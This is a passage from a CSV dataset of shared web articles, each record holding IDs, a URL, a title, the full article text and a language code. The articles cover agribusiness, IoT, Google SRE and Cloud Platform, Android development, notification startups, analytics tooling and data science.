1459973209,CONTENT SHARED,-7481609677042800346,-6030696784871381528,4962443606107481480,,,,HTML,http://agrishow.com.br/blog/especialista-explica-como-semente-artificial-de-cana-aumenta-produtividade/,Especialista explica como semente artificial de cana aumenta produtividade,"Tendência no agronegócio mundial, a otimização de culturas em busca do aumento da produtividade e da redução dos custos com equipamentos e mão de obra estão a caminho dos canaviais por meio de sementes artificiais. Ainda em fase de desenvolvimento, a principal inovação em sistemas de plantio do CTC (Centro de Tecnologia Canavieira) combina genética, controle de doenças, vigor e simplicidade de cultivo para ampliar o número de toneladas de cana produzida por hectare. Gerente de negócios do CTC, Ronaldo Onosaki aponta, a seguir, os caminhos que levarão à mudança do perfil produtivo da cana-de-açúcar. Melhoramento genético As sementes artificiais são frutos de variedades selecionadas pelo programa de melhoramento genético, com o uso de biotecnologia ou não, porque planejamos disponibilizar ao mercado tanto variedades já conhecidas como novas. Pelo grande controle e qualidade do processo de produção que o CTC está desenhando, as sementes artificiais apresentarão garantia genética (sem mistura varietal), fitossanidade (ausência de doenças), maior vigor e simplicidade de plantio. Isso refletirá em um menor número de falhas e maior produtividade no campo. Sistema de plantio Em relação ao plantio de mudas pré-brotadas, as principais mudanças serão, a maior facilidade de transporte e armazenamento da semente, além da eliminação da mão de obra necessária para a sua distribuição. Sobre o plantio mecanizado de toletes, o grande ganho recai sobre a liberação da área de viveiro e simplicidade/rendimento da operação de plantio, reduzindo a quantidade, tamanho e impacto das máquinas como a compactação de solo. Garantia genética, fitossanidade, maior vigor e simplicidade de plantio irão resultar no aumento do número de toneladas de cana produzida por hectare Menos custo de produção O uso dessas sementes irá ajudar na redução de equipamentos e mão de obra necessários para o plantio, que impactam diretamente o custo. Já o aumento de produtividade proporcionado pelo uso de sementes irá reduzir o custo por tonelada produzida. Mais produtividade Garantia genética, fitossanidade, maior vigor e simplicidade de plantio irão resultar no aumento do número de toneladas de cana produzida por hectare. Ela também terá maior qualidade resultando em um melhor desempenho industrial e, consequentemente, em mais produtos por tonelada. Adicionalmente, a maior simplicidade do processo permite um maior rendimento operacional, com menos máquinas e mão de obra.",pt
1459978979,CONTENT SHARED,-7550906488404754851,1623838599684589103,-5709702757043418283,,,,HTML,http://www.tecmundo.com.br/internet-das-coisas/103265-governo-busca-empresas-aprimorar-internet-coisas-brasil.htm,Governo busca empresas para aprimorar Internet das Coisas no Brasil,"O Banco Nacional de Desenvolvimento Econômico e Social (BNDES) está em busca de empresas que estejam interessadas ou já atuem no segmento de Internet da Coisas ( Internet of Things , ou IoT) no Brasil. O objetivo é inicialmente catalogar essas companhias e, com a ajuda delas, inicar o desenvolvimento público do setor. O banco já iniciou os procedimentos da chamada pública. O projeto vai contratar instituições e empresas interessadas na elaboração de um estudo com propostas para diagnosticar as possibilidades e os desafios dessa tecnologia no Brasil, além de iniciar o desenvolvimento de políticas, serviços e tecnologias com aplicação pública na área de IoT. Ao longo de todo o estudo, o BNDES vai trabalhar em parceria com os ministérios das Comunicações, da Ciência, Tecnologia e Inovação e do de Desenvolvimento, Indústria e Comércio Exterior. Empresas de tecnologia da informação e comunicação também estarão envolvidas. As propostas devem ser entregues até o dia 9 de maio. Clique aqui para saber mais detalhes e consultar o documento oficial do BNDES. A sua casa já está conectada pela Internet das Coisas? Comente no Fórum do TecMundo",pt
1459986592,CONTENT SHARED,5147907773522671167,-1443636648652872475,8577504797961962930,,,,HTML,http://www.wired.com/2016/04/google-ensures-services-almost-never-go/,Here's How Google Makes Sure It (Almost) Never Goes Down,"When was the last time you needed to Google something and Google wasn't there? Odds are, you don't remember that ever happening. Sure, there are times when you can't reach Google because your internet connection is down. But Google's primary online services, from its search engine to Gmail to Google Docs and more, are nearly always accessible. The company's Google Apps suite, including Gmail and Docs, was available about 99.97 percent of the time in 2015, according to the company's own numbers. The world pretty much takes this for granted, but it's a remarkable reality. The billions who use Google hardly stop to consider how Google made something so impressive seem so mundane. Google explains the feat in three words: Site Reliability Engineering. OK, they aren't the best three words. But that's the rather unsexy name Google gave to this seminal philosophy more than a decade ago. It's a rather nuanced and expansive philosophy, but it really boils down to one central idea: Don't get IT people who specialize in running Internet services to run your Internet services. Have software coders run them instead . If you do this, the thinking goes, the software coders will build tools that can help run the operation without the active involvement of real live people . 'We long for the day when nobody runs anything.' Todd Underwood, Google ""The result of our approach,"" writes Googler Ben Treynor Sloss in a new essay, ""is that we end up with a team of people who will quickly become bored by performing tasks by hand and have the skill set necessary to write software to replace their previously manual work."" For many in Silicon Valley, that may seem like a common idea. This kind of thing is now practiced across the tech world, from Amazon to Box.com. People call it DevOps-""development"" plus ""operations""-an effort to combine the ways of the software coder with the aims of the systems administrator. But the DevOps movement, embodied by tools like Chef and Puppet, evolved separately from and largely after the SRE philosophies that arose inside Google (and similar ideas that took hold at Amazon). It's just that Google has kept largely quiet about this over the last decade, as it often did when the topic was the inner workings of its enormously efficient online operation . But the company has entered a new period, one in which it's more willing to discuss such things ( mainly because it wants to promote the cloud services that allow outside business to run their own software atop its vast network of data centers and machines ). Google has even gone so far as to write a book about Site Reliability Engineering. The book is called, well, Site Reliability Engineering . It was just published by O'Reilly , and the essay from Sloss serves as the first chapter. If you're into DevOps, it's a must-read. And even if you're not, the opening of the book-the preface, the introduction, and the first chapter-is a fascinating look at the attitudes that drive the world's largest online empire. For many in tech-and almost everyone outside of tech-system administration (or operations or whatever you want to call it) is an afterthought, one of the more boring aspects of computer technology. But Sloss, officially known as Google's Vice President for 24/7 Operations, turns this notion upside down, arguing that site reliability is ""the most fundamental feature of any product."" After all: ""A system isn't very useful if nobody can use it."" Ground Zero Sloss is ground zero for the SRE movement. It began when Google hired him to run its operations, and it was he who coined the term. ""SRE is what happens when you ask a software engineer to design an operations team,"" he says. ""I designed and managed the group the way I would want it to work if I worked as an SRE myself."" For Todd Underwood, now an SRE director at Google, it's only natural that the company would hire a coder like Sloss for the job. ""When Google was in its infancy, there were so many software engineers who had a better sense of how things broke and a better sense of how engineering could be done well,"" he tells WIRED. ""But not one them wanted to do any of that by hand."" That's a very Googly thing to say. But Adam Jacob, chief technology officer at Chef, pretty much agrees, explaining that this is the expected transition for an online operation that's growing to such a large size. ""It's natural to have a conversation to combine software development and the practical pieces of operation-and to have no real divide between the two,"" he says. ""When you look at the problem holistically, you get better results."" The shift is particularly interesting when you consider that dev and ops were traditionally opposing forces. The devs wanted to build new software and change it and get the changes out to the public as a fast as possible. But the ops folks wanted to ensure that nothing went wrong, and the best way to do that was to keep changes to a minimum. ""These are incommensurate goals,"" Underwood says. The trick is that, if you combine dev and ops, you can start to eliminate their competing aims. Underwood calls it a ""Hegelian thesis-antithesis synthesis."" He then acknowledges that when he says this, no one really buys it. ""People just don't read Hegel anymore,"" he quips. But the description is spot on. And once this synthesis was in place, Google accelerated the process by adding all sorts of other Googly ideas to the mix. The Error Budget One big idea is that, in an effort to reduce the conflict between dev and ops, the company doesn't strive for 100 percent uptime. The reality, Sloss writes, is that you don't need an internet service to be 100 percent available. Users can't really tell the difference between 100 percent and, say, 99.999 percent (their laptop or WiFi or electricity or ISP are down far more than 0.001 percent of the time). If you set a reasonable uptime goal below 100 percent-an ""error budget""-you have more room to make changes and role out experiments. ""The use of an error budget resolves the structural conflict of incentives between development and SRE,"" Slosser says. ""An outage is no longer a 'bad' thing. It is an expected part of the process of innovation, and an occurrence that both development and SRE teams manage rather than fear."" At the same time, the company put rules in place to ensure that SREs didn't end up morphing into good old fashioned sysadmins. Basically, it decreed that no SRE could spent more than 50 percent of his or her time on traditional operations as opposed to coding. If ops starts to take precedence over dev on a particular SRE team, Google shifts some of the ops load onto the team that is typically just build the software-the regular Google software engineers. ""Consciously maintaining this balance between ops and development work allows us to ensure that SREs have the bandwidth to engage in creative, autonomous engineering,"" Sloss writes, ""while still retaining the wisdom gleaned from the operations side of running a service."" Chef's Jacob says that the ratio here-50 percent-isn't that important. But he likes the attitude. ""This is just economics,"" he says. ""There's always demand for people to do operational bullshit. There is an almost infinite amount of bullshit that people will ask an operational person to do. So the idea that you would put a cap on that it legit."" Google even created strict guidelines for hiring its SREs. It hires about 50 to 60 percect through exactly the same process that applies to all other Google engineers, and the rest have about ""85 to 99 percent"" of the same skills-plus a ""set of technical skills that is useful to SRE but is rare for most software engineers,"" such as an intimate knowledge of the inside of the UNIX operating system or hardware networking protocols. This too aims to ensure that dev and ops maintain the proper balance. The Moonshot That Keeps Google Online In many ways, this was a new philosophy. But in their book, as they seek to describe the philosophy, the Google team uses a much older example. The spiritual forebear of the Google SREs is Margaret Hamilton, the MIT programmer who spent the '60s building software for Apollo spacecraft that would one day land on the moon . As explained by Hamilton herself-who was interviewed for the book-part of the culture on the Apollo program ""was to learn from everyone and everything, including from that which one would least expect."" Hamilton was a coder. But she played an important role in operations. To show this, the book recounts the day Hamilton's young daughter, Lauren, who she often brought to the computer lab, happened to hit a button and feed an Apollo pre-launch program into a computer that was running a post-launch scenario. This crashed the scenario, and Hamilton tried to add a new error checking code to the system that automatically would prevent this during a real flight. Her superiors rejected the idea, arguing that astronauts would never do such a thing, but on Apollo 8, the astronauts did such a thing. Luckily, Hamilton had added a workaround to the system documentation. And for subsequent missions, she added the error checking code. ""If you come along and say 'That's going to break,' it's really not that useful. But if say: 'That's going to break, and let me tell you how,' you've done something amazing,"" Underwood explains. ""Here's a person who saw that something was going to break and saw how it was going to break and devised a way to prevent it from breaking."" That's DevOps-or, in Google parlance, Site Reliability Engineering. As three words, it doesn't sound like much. But it's an enormously powerful idea. It has already produced Google. But particularly philosophical SREs like Underwood have even bigger ambitions. They envision a world where operations shift even further towards code. ""We long for the day,"" Underwood says, ""when nobody runs anything.""",en
1459992471,CONTENT SHARED,3343368383976781910,8164031568920151381,-6901770165280898605,,,,HTML,https://medium.com/android-dev-br/desenvolvendo-android-por-onde-come%C3%A7ar-1dd70b4fcf57,"Desenvolvendo Android, por onde começar? - Android Dev BR","Desenvolvendo Android, por onde começar? Uma das coisas mais difíceis ao começar a estudar Android é saber por onde começar. Este post é dedicado aos desenvolvedores que estão começando a estudar a plataforma Android. Aqui você terá dicas de documentação, tutoriais, vídeo aulas e tudo que precisa saber para trilhar o melhor caminho no desenvolvimento Android. Entenda o Android Desde que teve seu lançamento o Android tem passado por algumas mudanças. Houveram melhorias de ferramentas para desenvolvedores, como criação do Android Studio, melhorias de funcionalidades, como toolbar, menus, Drawers, houveram melhorias de performance, e melhorias de design como o Material Design, ou seja, trata-se de uma plataforma que vive em constantes melhorias. Para trabalhar com o Android é preciso estar em constante atualização, devido às mudanças que ocorrem na plataforma. A Documentação Oficial do Android O Google é bem focado em boas práticas, tanto de design como programação, visando uma plataforma de excelência, que ofereça uma boa experiência de usuário e usabilidade. Pensando em todas estes conceitos, o Android possui um site que contempla toda a documentação do SDK como classes e interfaces que podem ser utilizadas para desenvolver. O site está dividido em algumas abas para facilitar o entendimento. Design  - Contém diversos conceitos de design e padrões recomendados. Distribute  - Contém informações de distribuição do App, como reengajar usuários, ferramentas, entre outros. Develop  - Contém documentação de classes e interfaces (Reference), Guias que contém explicação sobre componentes e funcionalidades (API Guides), treinamentos passo a passo (Training), Códigos de exemplo (Samples), ferramentas (tools) e Biblioteca do Google Services. Training É uma seção que fez parte do início de diversos desenvolvedores na plataforma Android, e acredito que seja o melhor lugar para iniciar os estudos ( ). Ela possui diversos treinamentos, que mostram passo a passo como conseguir desenvolver a funcionalidade desejada. A parte de ""Lessons"" contém todas as lições necessárias para aprender a funcionalidade. Além disto é possível nos treinamentos baixar exemplos para serem abertos no Android Studio. Veja a figura abaixo: Este treinamento conta também com trechos de código como mostra a figura abaixo: API Guides Esta seção contém uma explicação mais teórica a respeito de componentes, eventos e funcionalidades. É importante, além de saber usar alguma funcionalidade, entender seu verdadeiro propósito e como o sistema Android solicita que você lide com ela. A figura abaixo mostra uma explicação sobre listeners. Tools A seção tools é para promover ao desenvolvedor conhecimento das ferramentas existentes no desenvolvimento Android, que variam desde a própria IDE Android Studio quanto ferramentas de otimização de performance e testes. Google Services Algumas funcionalidades do Android necessitam de integração com a API do Google Play Services, algumas bem conhecidas como Maps e Google Plus até Drive e Ads. Samples Esta seção traz exemplos para serem baixados e abertos no Android Studio, assim o desenvolvedor poderá, ao ver o código, entender cada trecho de código. Reference Esta seção é uma das mais importantes da documentação, isto se não for realmente a mais importante. Aqui está descriminado a documentação de cada classe usada no desenvolvimento Android. Para um melhor entendimento vou explicar cada pedaço desta tela. Ao lado esquerdo estão listadas todas as classes, e é possível selecionar a API desejada, que irá listar as classes presentes em determinada versão do Android. Na parte superior é possível verificar o tipo de classe, nome, código e heranças , ou seja, de quais classes que a classe desejada está herdando propriedades. O item class overview é uma pequena explicação da classe, qual o seu verdadeiro propósito e situações onde é utilizada. Já Summary contém um resumo de todas as constantes, construtores e métodos presentes na documentação da classe, se clicar em algum já será direcionado para o item selecionado. O restante é a documentação de cada item em si. Com certeza, a documentação oficial é o primeiro lugar onde um desenvolvedor deve buscar informação a respeito do Android. O conteúdo está sempre atualizado com as melhores práticas para cada funcionalidade ou componente. E o fato de existirem exemplos e guias facilita o entendimento de quem está começando. Material Design O material design foi incorporado ao Android no ano de 2014 durante o Google IO (evento onde são anunciados diversos lançamentos dos produtos Google). Anteriormente ao material design não existia um padrão de design para as aplicações Android, então basicamente cada aplicativo era de um jeito, o material design foi uma forma de padronizar as aplicações, pois ele não contém só conceitos de design como também conceitos de usabilidade e melhorias na experiência de usuário. Ao começar a pensar em uma aplicação e seus componentes é interessante ver como deve se comportar cada componente, e como utilizá-lo da forma mais correta possível. O site contém toda documentação de material design que é recomendada a ser utilizada nas aplicações, tanto em smartphones quanto smartwatches e aplicações desktop. O material é de fácil entendimento. Este site está super bem estruturado para fornecer toda informação necessária na hora de projetar os componentes, lidar com ações e interações com o usuário. O menu esquerdo contém os itens que estão descritos na documentação de material design. Além de mostrar conceitos de material design é mostrado também detalhes relacionados a dimensões e espaçamentos, como mostra a figura abaixo. Outro ponto relevante desta documentação é que é mostrado maneiras corretas e erradas de implementar, assim é possível saber se você está pensando da maneira correta. Curso online Udacity O Google possui uma parceria com uma plataforma de cursos online em vídeo, o Udacity. Todos os cursos relacionados a Android são gratuitos e possuem uma interação com o aluno, que responde a perguntas e e pode ir codificando junto com as aulas. Aconselho a começar pelo mais básico para iniciantes ( ), e caso você se interesse há diversos outras video aulas que é possível você assistir. Veja a figura abaixo. AndroidDevBr no Slack O Slack é uma aplicação, tanto desktop quanto mobile, que permite troca de mensagens que podem ser privadas ou entre equipes, permite postagem de links e fotos. O slack foi inspirado em uma antiga plataforma de troca de mensagens: o IRC, que possuía canais de conversação e mensagens privadas. Existe um grupo de desenvolvedores Android que contém desde dev's juniors que estão começando android até os mais avançados níveis de desenvolvedores brasileiros. E todos aplicam muito bem o conceito de comunidade: estar ali para ajudar. Tenho visto muitas pessoas que participam estarem crescendo em termos de conhecimento ao participar do grupo. Atualmente no grupo temos 800 desenvolvedores Android, para participar é preciso entrar no seguinte link: Aí é só adicionar cada canal que desejar como android, design, animations, tests, learn e muitos outros disponíveis. Google Developers Group Os GDG's são grupos incentivados pelo Google, que possui intuito de disseminar conhecimento através de encontros, palestras, mesa redonda, enfim diversos eventos para incentivar pessoas a conhecerem e se aprofundarem nas tecnologias Google. Existe GDG's em diversas cidades do país e do mundo, basta dar uma olhada neste site para ver se existe um por perto. Todos os eventos são totalmente gratuitos. Android Developers no Youtube O Android developers possui uma série de videos no Youtube, que mostram desde padrões à funcionalidades adicionadas na plataforma. Vale a pena também dar uma olhada lá. Literatura Em se tratando de uma plataforma que evolui na velocidade da luz, e com tanto conteúdo online, a grande maioria dos desenvolvedores opta por conteúdos online. Mas existem livros muito bons a respeito de desenvolvimento Android. Eu indico dois principais, e estão em português: Dominando o Android (Nelson Glauber) e Google Android (Ricardo Lecheta). Na minha opinião são os melhores livros atualmente. Vale a pena relembrar que é preciso olhar o ano de edição, pois devido a ter diversas mudanças indico sempre ler algo mais atual. Android Arsenal Algumas funcionalidades no Android não são tão fáceis de implementar, e pensando em facilitar a vida do desenvolvedor outros desenvolvedores criam bibliotecas, que podem estar ligadas a componentes, funcionalidades, ou até mesmo alguma facilidade que seja útil aos demais desenvolvedores. O site Android Arsenal possui muito conteúdo de bibliotecas que podem ser baixadas, e muitas delas podem ser adicionadas diretamente como uma dependência no projeto (no arquivo build.gradle). O link do site é Mais dicas As vezes, quando começamos a desenvolver em uma linguagem nova, nos sentimos bem perdidos, porque há muita coisa e pouco tempo. Mas com certeza a maneira mais fácil de desenvolver para Android é praticando. Dessa forma irá fixar de maneira mais rápida cada conceito aprendido nos links que foram passados neste post. Participar de eventos ligados a Android também ajudará, e muito, a imergir nesse mundo mobile, além de aumentar a rede de contatos. O Android nasceu no conceito de comunidade, existem muitos devs dispostos a ajudar quem está começando. Ler e estudar sempre. A área de T.I. exige um pouco de dedicação, mas isso não precisa ser sofrido (a não ser que você queira). Existem diversos blogs na internet além do próprio blog do Android developers trazendo sempre novidades da plataforma Android. No mais, é por a mão na massa e praticar, espero que tenha ajudado quem está começando e ainda está se sentindo perdido. E desejo uma boa sorte a todos. Nota: Este artigo obteve ajuda de diversos desenvolvedores que pertencem ao grupo do Slack AndroidDevBr. Todas as menções deste artigo estão baseados em experiências reais vividas por desenvolvedores que trabalham com a plataforma Android. Conforme já mencionado este artigo é um guia para quem está começando, mas não são necessariamente regras. Tenha sempre em mente a necessidade de aprender cada vez mais, assim estará sempre a frente.",pt
1459993879,CONTENT SHARED,-3515692979189178102,-1032019229384696495,-2541313200617483308,,,,HTML,https://cloudplatform.googleblog.com/2016/04/Google-and-Rackspace-co-develop-open-server-architecture-based-on-new-IBM-POWER9-hardware.html,Google and Rackspace co-develop open server architecture based on new IBM POWER9 hardware,"Rethinking data center design is happening out in the open here at Google. Today we're announcing that we're working with Rackspace to co-develop an open server architecture design specification based on IBM's new POWER9 CPU. We also recently joined the Open Compute Project (OCP) and hope to submit this work to the OCP community. In fact, the POWER9 data center server specification is designed to fit in the proposed 48V open rack that we're co-designing with Facebook . We've been working on OpenPOWER since 2014, when we helped found the OpenPOWER Foundation and we're now POWER-ready. This means the architecture is fully supported across our toolchain, allowing developers to target apps to POWER with a simple flag. It won't surprise anyone to hear that demand for compute at Google has been relentless and it isn't slowing down any time soon. We've found 60 trillion web addresses so far, versus one trillion in 2008. To meet that demand, our goal is to ensure our fleet is capable of handling ISA heterogeneity, to achieve best-in-class performance and value. We're committed to open innovation and to optimizing performance and cost in data centers, and look forward to passing these savings along to our internal users as well as our Google Cloud Platform customers. - Posted by Maire Mahony, Hardware Engineering Manager at Google & Director, OpenPOWER Foundation",en
1460024423,CONTENT SHARED,4877833951599818487,-1443636648652872475,-8912047232446778638,,,,HTML,http://www.techrepublic.com/article/google-cloud-platform-the-smart-persons-guide/,Google Cloud Platform: The smart person's guide - TechRepublic,"From its humble beginning with Google App Engine back in 2008, Google has grown its Google Cloud Platform into one of the premier cloud computing platforms in the market today. While it is still following its top competitors AWS and Microsoft Azure, Google has continued to make investments in Google Cloud Platform that make the product more attractive to big customers. To help CXO, IT leaders, operations administrators, and developers better understand Google's role as a cloud provider, we've put together the most important details and resources in this smart person's guide. This is a ""living"" article that will be updated and refreshed as new, relevant information becomes public. Executive summary (TL;DR) What it is: Google Cloud Platform, as the name implies, is a cloud computing platform that provides infrastructure tools and services for users to build on top of. Why it matters: Google Cloud Platform is regarded as the third biggest cloud provider in terms of revenue behind Amazon Web Services in first place and Microsoft Azure in second. Who does this affect: Any organization in need of cloud computing should consider Google Cloud Platform for their needs-especially SMBs, which the platform was initially geared toward. When is this happening: Google announced its first cloud tool, Google App Engine, back in 2008, and as it continued to add more tools and services they collectively became known as the Google Cloud Platform later on. How to take advantage of Google Cloud Platform: Google has provided documentation for getting started and a frequently asked questions page for developers and IT leaders to investigate the platform. What it is? In 2008, to capture the growing interest in web applications, Google launched Google App Engine, a platform as a service (PaaS) cloud tool that allowed developers to build and host their apps on Google's infrastructure. App Engine struggled early on, due to the fact that it didn't support certain key developer languages. SEE: Interview questions: Cloud engineer (Tech Pro Research) Google then released a host of complementary tools, such as its storage layer and its infrastructure-as-a-service (IaaS) component known as the Google Compute Engine, which supports the use of virtual machines. After adding additional products that handled load balancing, DNS, monitoring, and data analysis; Google Cloud Platform was able to better compete in the cloud market and began to gain market share. Current Google Cloud Platform products span the following six categories: Compute - App Engine, Compute Engine, and Container Engine Storage - Storage, Bigtable, Datastore, and SQL Networking - virtual networking, load balancing, DNS, Interconnect, and CDN Big data - BigQuery, Dataflow, Dataproc, Datalab, and Pub/Sub Machine learning - ML Platform, Vision API, Speech API, and the Translate API Operations and tools - Stackdriver, Deployment Manager, endpoints, IAM, and source repositories Google Cloud Platform is primarily a public cloud provider. Google does have a network of private cloud providers that can help users build out a hybrid cloud deployment, but its proprietary space is the public cloud. Microsoft Azure is basically the only provider that handles both the public and private aspect of hybrid cloud. While AWS and Microsoft consistently push each other to lower prices, Google follows its own pricing pattern and routinely boasts that it offers the lowest cost of the three providers. However, Google really differentiates itself in its services. Read more: Why it matters Whether or not Google Cloud Platform will matter to your organization depends on the type of tools and functionality they value from a cloud provider. In terms of basic services, Google offers about the same core functionalities of AWS and Azure, but on a smaller scale. Where it really shines, though, is in its big data tools and container support. Google's BigQuery and Dataflow bring strong analytics and processing capabilities for companies that work heavily with data, while Google's Kubernetes container technology allows for clear container cluster management and eases container deployment. Google also recently added new tools for IoT development and machine learning as well. Google is a company that thrives on the collection and subsequent leveraging of data. Whether that is user data, machine data, or geographic data is irrelevant-if an enterprise wants to experiment with data, the Google Cloud Platform may be a good option as a cloud provider. Google Cloud Platform also matters because of the massive investment Google is making in its infrastructure. As noted by TechRepublic columnist Matt Asay, in 2014 Google spent more than AWS and Microsoft combined on its cloud infrastructure. Those investments show most clearly in what Google perceives as its three keys to success in the future: the data center, security, and containers . At the 2016 Google Cloud Platform Next conference in San Francisco, key Google leaders explained how they were working in all three of these areas to make Google Cloud Platform a better option for enterprise customers and a more attractive option. Read more: Who does this affect? As with many of its innovations, the set of tools that the Google Cloud Platform comprises were originally internal tools built for Google's use. This would eventually prove problematic. At the onset, Google originally targeted startups and SMBs for its cloud division. The company even went as far as to set up a startup fund, offering $100,000 of Cloud Platform credit to eligible startups back in 2014. However, Google would eventually need to expand its focus to prove successful. The problem was, Google marketed its products for users to be able to build their apps just like Google did. But, many companies, especially bigger enterprises, didn't want to. Google executive chairman Eric Schmidt recently admitted that this was the wrong approach , and that Google has decided to change gears in how it provides its services through Google Cloud Platform. ""We decided to meet you where you are, as opposed to where we think you should be,"" Schmidt said. By signing former VMware honcho Diane Greene, adding security and reliability, and providing better stepping stones into Google Cloud Platform, Google is making its platform more accessible to all businesses. So, where Google Cloud Platform would have once only affected small businesses and startups, it's now a viable option for enterprises and big businesses as well. It seems that large corporations are paying attention. Google recently added big names to its Cloud Platform roster , including Disney, Coca Cola, Spotify, and Apple, among others, proving that they can cater to the needs of major players. Although, many of these companies also use other providers such as AWS or Azure, which means that Google Cloud Platform could also act as a complementary provider for existing AWS or Azure customers who need additional capabilities or flexibility. Being that it is a platform on which applications are built and hosted, the choice of a provider like Google Cloud Platform also affects developers. For developers, Google Cloud Platform supports Go, Node.JS, Python, Ruby, PHP, and Java. Make sure you are involved in any conversations about selecting a cloud provider to make sure it is a platform you, and your team, are comfortable working in. Read more: When is this happening As mentioned, Google's first foray into cloud services was the Google App Engine back in 2008 . Two years later, Google announced that it was adding a storage layer and, in 2012, the company began its partner program for the platform. Then came BigQuery, the Compute Engine, Cloud SQL, and the rest of the tools that make up today's Google Cloud Platform. So, all of the Google Cloud Products mentioned above are in general availability now. However, like all providers, Google is constantly adding new tools and feature in preview, which will likely make it to the general public. Some of the latest tools brought to the Cloud Platform are advances in machine learning , announced by Google at the GCP Next 2016 conference. In addition to its translation and speech APIs, Google launched its Cloud ML (machine learning) for predictive analytics. Read more: How to take advantage of Google Cloud Platform Being that Google Cloud Platform is a publicly-available product, it's not very difficult to acquire its services. The bigger issue is two-fold: Deciding whether or not Google Cloud Platform is the best option for your business, and planning your implementation. To effectively compare Google Cloud Platform against the other options out there, you'll need to do your research. If you are looking at comparing it against AWS and Microsoft Azure, try starting with our other smart person's guide for AWS and Microsoft Azure respectively. A list of other good cloud vendors can be found in this list of 15 of the top hybrid cloud vendors . As your organization begins to plan its deployment, start by making a list of questions you have about the service and check them against the FAQ section on the Google Cloud Platform website. To understand the specifics of a Google Cloud Platform deployment, make sure you familiarize yourself with the proper documentation . Interested parties can register to try Google Cloud Platform for free here . Read more:",en
1460024920,CONTENT SHARED,5311977399951270341,-1443636648652872475,-8912047232446778638,,,,HTML,http://arstechnica.com/gadgets/2016/04/startup-aims-to-use-machine-learning-to-make-mobile-notifications-good/,Startup aims to use machine learning to make mobile notifications good,"One of the most important features of mobile platforms is notifications. Our phones, and sometimes even our watches, are forever buzzing and bleeping to tell us that someone, somewhere, has done something that we should know about, right now . Whether you use iOS, Android, or even Windows Mobile, there's a common theme to these notifications: they're deeply annoying. We get notifications when we can't do anything about them, we get too many notifications, and we get notifications that we just don't care about. This problem is just getting worse, too. Instagram users are begging their followers to turn on notifications for their accounts so that they ensure their pictures are seen in spite of the use of an algorithmic timeline. Even when we think we have our notification settings at just the right balance, an unexpected event-a tweet going viral and getting retweeted all over the Internet, say-can throw things off. A new startup, Projector , which today announced that it had received $4.5 million in seed financing, is hoping to give mobile app developers the tools to make their notifications actually good by making them a whole lot smarter. The Projector service sits between existing application servers and the notification servers, providing a place for rules and machine learning to be applied to the notifications. There's also a client-side library for displaying and reacting to the notifications. The idea is that notifications can be made much smarter and much less annoying. Take Twitter as an example. Most of the time, the occasional notification each time you get a retweet or a favorite is harmless. But every now and then someone with a low-traffic Twitter account has a tweet that goes viral, and whenever this happens, there are inevitably complaints a few hours or minutes later about how the account owner's phone is now useless or annoying because it's vibrating so much from all the alerts. A smarter system might detect this barrage of traffic and change to a different notification policy-perhaps batching up the alerts and sending fewer of them. Similarly, a service like Instagram could send Projector information about the social graph of users each time it sent a like notification. A rule could inspect this graph and make decisions based on it, for example, ignoring notifications from those annoying serial likers that like virtually every picture they see or only sending alerts from people you follow. Projector also wants to include geofencing, so notifications won't be sent while a phone's owner is driving, saving them for when the destination has been reached. They could similarly avoid meetings or other times when a buzzing phone isn't ideal. Good for end-users, Projector also wants to make this good for developers by giving them more information about which alerts users actually do and do not care about, allowing developers to experiment with different notification strategies to improve their engagement. In the future, this could enable much more personal tailoring; a news app might learn which breaking news alerts you tap on and which ones you ignore and tailor the news it tells you about accordingly. The company is also positioning itself as a replacement of sorts for Facebook's discontinued Parse. Hundreds of thousands of apps used the Parse platform for their back-end processing, especially for handling notifications. Facebook announced in January that it was going to turn Parse off in 2017. The source is still available for those who want to run it on their own servers, but the Facebook-hosted service is going away. Projector's service provides an alternative for any developer using Parse to handle their notifications. Much of this work could, in principle, be done by Apple and Google. So far, the companies haven't proven interested, and it wouldn't necessarily be a great fit for cross-platform apps that would want to treat users of different platforms in much the same way, especially when their accounts may span multiple devices. In an ideal world, every notification would be something that you care about enough to justify the intrusion that the notification implies, and you'd never pick up your phone to look at why it vibrated only to instantly dismiss it because you weren't interested. Projector may not be the total solution to this near-universal problem, but it could be a good step in the right direction. Making the endless stream of notifications that we all receive more useful and simultaneously less invasive can only be a good thing.",en
1460028399,CONTENT SHARED,2333823948799779498,-108842214936804958,2892380544723529842,,,,HTML,http://techcrunch.com/2016/04/06/segment-helps-businesses-integrate-third-party-sources-into-their-data-pipelines/,Segment helps businesses integrate third-party sources into their data pipelines,"Segment helps developers manage all the analytics data their apps and services generate. Besides fanning out this information to analytics services like Google Analytics and Mixpanel, or marketing tools like Marketo, all this data lands in a data warehouse. At best, though, all this information only shows an incomplete view of a customer's journey from landing page to purchase. Starting today, Segment users will also be able to combine their internally generated data with data from third-party tools like Salesforce, Zendesk, Stripe, Twilio and others - data that is typically siloed and hard to integrate (support for Google AdWords, Facebook Ads and other tools is coming soon). With this new tool, called Sources , developers will be able to create tools and dashboards that show a far more complete story of how users interact with a company. Say you want to know how your SendGrid campaign converted. You can now combine data from your email campaign with analytics data from your apps and Stripe to see how well they performed (using the customer's email address as the identifier). One of Segment's first beta customers for this service was Instacart. ""With Sources, we're gathering vital new insights about our customer experience,"" said Che Horder, Director of Analytics at Instacart. ""For example, by combining Zendesk with purchase data, we can analyze how interactions with our Customer Happiness team affect conversion, sales, and long-term retention. We have a much clearer understanding of our funnel, what's working, and the impact of our support team on revenue."" As Segment co-founder and CEO Peter Reinhardt told me, users simply must use a standard OAuth workflow to add these new sources to their existing Segment accounts. The company slightly modified the pricing structure for its warehouse plans to include support for up to three additional data sources for a fixed fee. He also noted that while most users will probably combine this data with an existing business intelligence service to build dashboards, the company itself has no plans to add any of these services itself.",en
1460028591,CONTENT SHARED,8968837261991914049,-108842214936804958,2892380544723529842,,,,HTML,http://firstround.com/review/doing-data-science-right-your-most-common-questions-answered/,Doing Data Science Right - Your Most Common Questions Answered,"This post is by Instacart VP Data Science Jeremy Stanley , and technical advisor and former LinkedIn data leader Daniel Tunkelang . Previously, Jeremy wrote the most comprehensive manual we've ever seen for hiring data scientists Data products use data science and engineering to improve product performance, typically in the form of better search results, recommendations and automated decisions. Decision science uses data to analyze business metrics - such as growth, engagement, profitability drivers, and user feedback - to inform strategy and key business decisions. . Using Data Science to Build Better Products I t's hard to believe that ""data scientist"" only became a bona fide job title in 2008. Jeff Hammerbacher at Facebook and DJ Patil at LinkedIn coined the term to capture the emerging need for interdisciplinary skills across analytics, engineering, and product. Today, the demand for data scientists has blossomed, and with it the need to better understand how to grow these teams for success. The two of us have seen our share of the good, the bad, and the ugly, leading and advising teams at a variety of companies in different industries and at different stages of maturity. 